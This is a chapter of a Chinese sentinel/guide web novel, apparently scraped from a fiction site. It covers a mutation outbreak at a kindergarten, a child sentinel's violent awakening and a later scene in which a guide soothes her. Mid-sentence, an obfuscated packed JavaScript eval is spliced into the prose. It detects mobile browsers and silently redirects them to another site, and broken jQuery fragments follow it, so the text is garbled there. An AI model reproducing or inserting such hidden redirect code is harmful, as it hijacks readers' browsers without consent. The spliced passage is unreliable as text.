23. 你是……魅魔吗? 算了,我……

作品:《最强哨兵她超黏人

    『X年X月X日9:51,青榆镇出现首例居民变异,变异者为超市收银人员张XX,现场死亡人数14人,受伤人数89人』


    『10:23,累计出现25例居民变异,铜城白塔紧急响应』


    ……


    『15:12,累计出现441例居民变异,临洋城白塔支援抵达』


    镇上幼儿园暂时并未出现异常,但出于安全考虑,白塔委派下来的维和部队还是对园内的师生进行疏散,车辆有限,分批次离开。


    老师们紧急清点孩子人数,带他们前往用于转移的车辆,小奚见清所在的班级最后才轮到,她的老师把同班同学一一领上车,可轮到她时,她怎么都不肯走。


    那是一种很奇怪的感觉,许老师与往常并没有什么不同,温柔的双眸里满是担忧与焦急,在这种危急时刻,仍是耐心地捧着她的脸哄她。


    “小奚,这里可能会很危险,跟老师走,我们一起去安全的地方!”


    她惊恐地看着老师,极力抗拒,就像她是什么可怖的怪物。


    最后许老师没办法,只能强行将她抱起来带走。


    小奚见清不知道老师的力气为什么变得这样大,让自己完全动弹不得,可她越是用力,她越是拼命挣扎。


    而很快,老师就抱不住她了。


    因为她的力气也没小到哪里去。


    “小奚,”老师疑惑地看着她,嘴角弯起一个诡异的弧度,“你为什么,这么不听话……”


    说完“话”字,她的嘴却并没有合上,眼睛也开始睁大。


    两株妖娆的藤蔓从她的眼眶中长出来,扭曲地攀向天空,最顶上结出两个浅褐色的花苞。


    “不要——!”她用力地推开老师,本能地踹向她的腹部。


    许老师终于松开手,整个人倒摔出去,在地上滚了很多圈才停下,正当她要站起来时,一辆飞速冲来的货车直接将她撞飞了出去。


    她变得血肉模糊,只有那两朵花还在疯狂汲取养分,在生命受到威胁时迸发出了极其强烈的求生欲。


    下一刻,白昙无声绽放。


    诡异的花香被风一吹,霎时弥漫开来。


    “许老师……”小奚见清崩溃地大哭着,“老师!对不起……”


    维和部队的士兵里没有哨向,不过都带着武器,见这边出现一只变异体,立刻冲上去补枪将其击毙,但很快他们便浑身扭曲了起来,不知为何变得不人不鬼。


    处于极度惊恐之下的小奚见清并没有意识到,自己能看见无数细小的粉粒向士兵们飘散而去,钻进他们的呼吸道中,还有蔓延到疏散车辆那边的迹象。


    “走,走啊……!”


    她拼命从嗓子中挤出几个字眼,身体却僵硬无比,像被砌进水泥中一样动弹不得。


    不行……


    要跑过去……


    清清,跑起来啊……


    他们都会死的……


    她以为自己僵立了很久,就在花粉即将飘散到车辆旁边的那一刻,她却瞬间冲到了车旁,一脚踹向车尾。


    那几辆车的车轮在地上摩擦发出刺耳的声音,硬生生滑出半条街,却又在极为精巧的角度和力道的控制下,没有翻倒。


    而留在车下的那些人跟维和士兵们一样,已经救不了了。


    花粉钻进他们的呼吸道,穿过血管在身体里扎根,很快白昙破胸而出。


    他们仰面朝天,体表开始硬化,浮现白色泡沫般的气孔,四肢向后背弯折,如走兽一般开始爬行,胸口的花不停地摇晃,最后直指小奚见清。


    她被团团围住,无助地边哭边后退。


    “不要……不要!”


    这份恐惧成了最美味的养料,变异体们争前恐后地扑了上来。


    小奚见清一眼就分辨出哪只最弱小,拼命推开,它像是遭到重击,一只撞倒一大群。


    这些张牙舞爪的鬼东西在她面前像是用纸糊成的,不堪一击。


    “别过来……”她的眼睛里布满红丝,血液在身体里快速奔涌,心脏鼓动几乎要撞上肋骨,“不要,过来……”


    都杀了……


    把它们都杀了……


    天气阴沉,雨丝开始飘落,一抹青色的虚影在她背后若隐若现,最终完全成形,半人高的竹叶青双瞳冰冷。


    *


    奚见清的心律始终在高频起伏,体温不断升高让她的意识也开始不清晰,竹叶青出现在她身旁狂躁地游动,并没有平息的迹象。


    她只能拿出最后一管S37,好不容易才找准位置注射。


    但十数分钟后一切如旧,安抚剂对自己已经不起任何作用。


    控制竹叶青的体型已经是极限,她根本无力阻止它把屋里弄得一片混乱,强撑着翻找通讯录里的号码。


    可迟缓的“嘟——嘟——”声似乎永远也得不到回应,直到停止了也没能接通。


    头疼得几乎要裂开,她握着通讯器,颤抖着再摁一次。


    睡梦中的观栩被铃声惊醒,原以为来的是实验方案,却是一个拨到自己私人号码上的未知号码。


    大约是什么骚扰电话,他皱了一下眉,可在挂断的前一秒,通讯器却自行接通。


    对面传来急促的呼吸声,夹杂哭腔:“小,小葵……我,需要……”


    听出来是谁的声音,观栩皱起的眉头再也没能松开,他一把拿起外套往外走:“奚见清,是你吗?”


    推开门正撞见来找他的蒋颐,见他行色匆匆,不由比划着问他去哪里。


    他摆了摆手,推门而出,直接坐电梯去地下车库。


    耳畔呼吸声浓重,时断时续,听得出对方正承受着莫大的痛苦。


    “奚见清,你在哪里?”观栩沉声问。


    “安抚,剂……”奚见清听不清他的话语,声音嘶哑,“小葵……我难受……”


    他正要找人帮忙查一下奚见清的住址,上车后却见自己的车载导航开始自动定位,他一脚踩住油门,驶出实验室。


    哨兵的固定住宅片区离这里不算太远,但眼下这二十多分钟车程,足以让一个暴走时得不到安抚的哨兵发疯。


    观栩沉声道:“奚见清,如果你现在还能动,把你家的门打开,我马上就到,数数给我听,尽量保持清醒!”


    对面传来扑通一声巨响,像是什么砸了下来,光听就能想象她是怎么摔倒在地的。


    换挡,继续提速,他在其他司机见鬼般的眼神下冷静地闯过一个又一个红灯。


    “1,2,3,……”虚弱的声音透过耳机,将一个个轻飘飘的数字重重砸在他心头。


    直到后来再也数不下去。


    车在住宅区中高速穿梭,撕开寂静的夜,观栩一个急刹,险之又险停在楼下,可走上台阶才发现小楼的大门紧闭。


    看着门上的瞳孔识别门锁,又想到来这里时发生的种种情况,他顿了顿,一把按下把手。


    下一刻,门锁响起机械音:“虹膜验证中,……,验证通过,欢迎回家,无畏的哨向战士。”


    *


    暴雨倾盆,变异体强烈的精神力波动触发监测信号,让哨向队伍注意到了幼儿园这边发生的异状,但人手实在不足,他们只能紧急派出年轻的见习们。


    待众人赶到时,园前的小广场已是遍地残骸,雨水把血肉冲得遍地都是,他们看到那个年幼的孩子一脚踹断一只畸形的变异体的肋骨,肘击落下将它的脑袋锤碎。


    在残酷的实战中,她以最快的速度掌握了最原始也最致命的击杀方式。


    赶到这里的哨向大多是初次外派,从来没见过如此血腥的场面,真实场景和图册视频的差距太大,有几个人直接背过身去,捂着嘴开始呕吐。


    这么年轻就觉醒他们还是第一次见,可检测器显示她的精神力数值不断上升,超出哨兵的极限,难道这是一场变异体的自相残杀吗!


    杀死所有敌人却还维持着战斗状态的小奚见清彻底暴走,拖着步伐,双眼无神地向他们走来。


    但很快向导们一个接一个地开口:“安抚不了!”


    “不行,为什么!进不去她的精神图景!”


    “这个哨兵是怎么回事!”


    所有试图对这个孩子进行安抚的人脸色都很难看,上至B级下至D级,没有一个人能成功和她建立起精神联结。


    哨兵们震惊地交换眼神,那不就意味着要让他们把她制服吗?


    他们,和她打?!


    双方实力差距过于悬殊,领队迅速做出决定:“火力压制,准备击杀!”


    已经救不了了,等她冲过来他们可能全都得死。


    所有哨兵都举起枪对准那个孩子,同时释放自己的精神体,但对面传来的压迫感让精神体们在有向导建立起的精神屏障的保护下仍在瑟瑟发抖。


    人总是很难战胜自己的本能与恐惧。


    不断加强的压迫感让一个向导开始退缩,他这一退,直接将身后那个年轻的见习向导暴露在了危险中。


    “不,等等……!”


    可想要补救也晚了。


    小奚见清疾冲而来,瞬间逼近。


    哨兵们的枪弹朝她倾泻而去,竹叶青身躯暴涨挡在她的身前,长尾扫开一众精神体,任子弹将自己击穿。


    呼吸间,小奚见清已经冲到了众人面前,伸手掐上对方的脖子。


    凛冽的杀意激起强烈的求生欲,白鸟翩跹,汹涌的精神力从他身上散开,原本无法做到,可如今建立精神联结,打开精神图景,不过瞬息。


    她的身体被强制停住,落了下来,落进少年的臂弯中。


    观栩接住了她,却被砸得跪倒在地,怀里的孩子在颤抖,在哭泣,用力地抱住了他。


    那一刻不知道为什么,他轻轻拍着她的后背,无视了她沾满血迹的双手。


    眼看她被控制住,其余哨向立刻查看现场之人的存活情况,但只在街头的几辆车里发现了瑟瑟发抖的师生们,至于地上的那些尸体,已经不能称之为人类。


    领队带人把幼儿园翻了一遍,把余下所有幸存者都带了出来,安排他们转移到离这里最近的铜城,进行安置。


    医护人员打着伞拎着低温箱跑过来,问:“请问您的等级是?”


    观栩道:“A级。”


    医护人员一惊,A级的见习向导,比这支队伍的领队等级还要高!


    而领队方才已经跟自己说过这个刚觉醒哨兵的情况了,如果只有A级才能安抚,那么相对应要为她注射S24号安抚剂外加一支镇静剂以确保她不会在前往白塔的途中醒来。


    “请将她交给我们。”


    怀里的孩子还留有几分意识,低声啜泣着,他一手扶着她的后腰,一手为她挡雨,摇摇头,示意就这样注射。


    医护人员只能依他所说。


    药剂被推入血管,逐渐开始起效,小奚见清昏昏欲睡,终于收回几分意识,她努力打起精神想看看对方的脸,视线却越来越模糊。


    终究不敌困意,缓缓阖上眼。


    竹叶青和白鸟开始消散,看着这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832987|174392||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    两只相互纠缠的精神体,观栩的眉心却微微蹙起。


    *


    机械小狗急切地叼着观栩的裤脚,领他上楼。


    卧室门敞开着,庞大的竹叶青几乎挤满了整个房间,奚见清倒在地板上已经神志不清,浑身被虚汗浸透。


    观栩立刻将她扶起来,靠在自己怀里:“我要进入你的精神图景。”


    意识陷入混乱的她自然无法回应,恍惚间只当自己刚觉醒,那个怀抱温暖依旧。


    随着对方的精神力波动,奚见清的视线终于能聚焦些许,一只羽翼洁白,尾羽淡蓝的鸟落在她的手背上。


    是,你啊……


    她伸出手轻轻抚摸,告诉自己,不能像上次那样,绞杀它,可……上次……不就是现在吗……


    回忆与现实像是不同色的颜料被混在一起,此刻界限全然模糊,竹叶青盘在二人身上,朱红色的蛇尾绕住它,拼命克制,但又忍不住摩挲。


    精神图景中,观栩在为她做疏导,屏蔽感官,扫平混乱。


    他看见浑身缠满绷带的奚见清独自坐在草地旁的长椅上,望着在家人的陪同下散步的病患,神情依旧淡淡,眼中光芒微闪。


    不知道她的父母是不是在那场变异中丧生的,观栩却想起了自己父母离开的那段时间。


    他们一起出生入死,在这样的家庭中长大的孩子从小就知道自己将来可能会面对什么。


    没有哪个哨向会在生死之际抛弃自己的伴侣,一旦发生意外就是双亲俱亡,而很少有独活的情况。


    噩耗传来的那一天,他在认领遗体的房间里从白天坐到深夜。


    谭则和霍从音陪他办理完所有手续,就像他们的父母离开时,他那般照顾他们。


    接过父母遗物的时候,观栩却无端地想到了当年的那个孩子。


    他也需要一个拥抱,她又不在。


    一支香草雪糕递到奚见清面前,看着这个口味,她一时没动。


    “巧克力没有了,”男人把包装袋拆开,“快点儿,一会儿护士该过来了。”


    奚见清接过,看了他手中夹着的烟,缓缓道:“护士姐姐说,不可以,在小朋友面前,抽烟。”


    “你护士姐姐也说,病患不能吃冰,你怎么不听?”


    她叼着雪糕不再开口,识食物者为俊杰。


    话虽如此,男人还是把烟头摁灭了,似是不经意问:“伤好以后你就要去临洋城?”


    她颔首。


    “去10队吧,他们队长王骆以前是我的朋友,我跟他打过招呼了,他会照看你。”


    “那他……”


    “6队,”他摸了摸鼻子,“临洋城不比天成市,我可没本事把你弄进去,就咱俩之前干的那些事,背调的时候通不过,我怕你前脚刚进白塔,后脚就进了监狱。”


    哦这可太糟糕了,她决心今后从良。


    “等见过那个人,还回来吗?”


    “回,”她点点头,“你会,饿死。”


    “靠!你侮辱谁呢!”


    “护士姐姐说,不可以,在小朋友面前,讲脏话。”


    “小竹叶青,雪糕吃完了,翅膀也硬了是吧。”


    “……”


    场景变换,奚见清跟在王骆身后等电梯,前往10队的作战室,王昶跟着他爹,时不时用余光瞥向这个年轻的女哨。


    感受到视线,她偏过头看了他一眼,他尽量露出一个和善笑容。


    她面无表情。


    最终他也变得面无表情。


    爹,你确定她会让我有队长般的成就感吗。


    电梯门打开,看着里面的人,王骆颔首示意,对方也礼貌性点头。


    观栩走出电梯,与进去的奚见清擦肩而过。


    电梯门缓缓合上,观栩也已经把图景清理干净,他们都不记得,原来再次重逢比以为的要更早。


    他离开奚见清的精神图景,她的呼吸仍很急促,体温偏高,隔着衣物也能感觉到灼热,竹叶青体型小了很多,缠住二人的力道却分毫不减。


    初见的时候他还控制不了哨兵的精神体,现在……


    大概是不想居多。


    看到床头柜上有水,观栩拿过来小口地喂给她,本能的吞咽声和自己身体上发生的某些变化却让他的动作逐渐僵硬,逐渐到了无法忽视的地步。


    “清清……”他哑声道,“松开些。”


    “不,要……”奚见清眼角泛红,“我醒了,你要走……”


    她想找到他,想跟他道谢,想告诉他安抚很温柔,可是她再也没有见过他,像颗遥不可及的晚星。


    “我在这里。”


    他耐心地一遍遍擦去她眼角的泪水,却怎么都擦不干,仿佛受了天大的委屈。


    “不许,走……”奚见清无意识地蹭着他的颈侧,贴着他的脸颊呢喃,“阿栩……”


    观栩的心律失衡一瞬,怀里的人却因为他停止拍她的后背而不满地轻哼起来。


    而下一刻,他的手隔着衣物,依稀触碰到一层细密的鳞片。


    疑心是错觉,观栩指尖力道加重,近乎着迷地顺着她的脊背寸寸下滑,停在腰际。


    是真的。


    轻抚让奚见清的喘息变了声调,热意吹在他的耳畔,竹叶青仍在遵循本能地摩挲着,二人急促沉重的呼吸混乱交错,逐渐同频。


    直到自己的吻无意间落在她的脸颊上,掌心真切地贴着那些鳞片,观栩才猛然清醒。


    你是……魅魔吗?


    算了,我混蛋。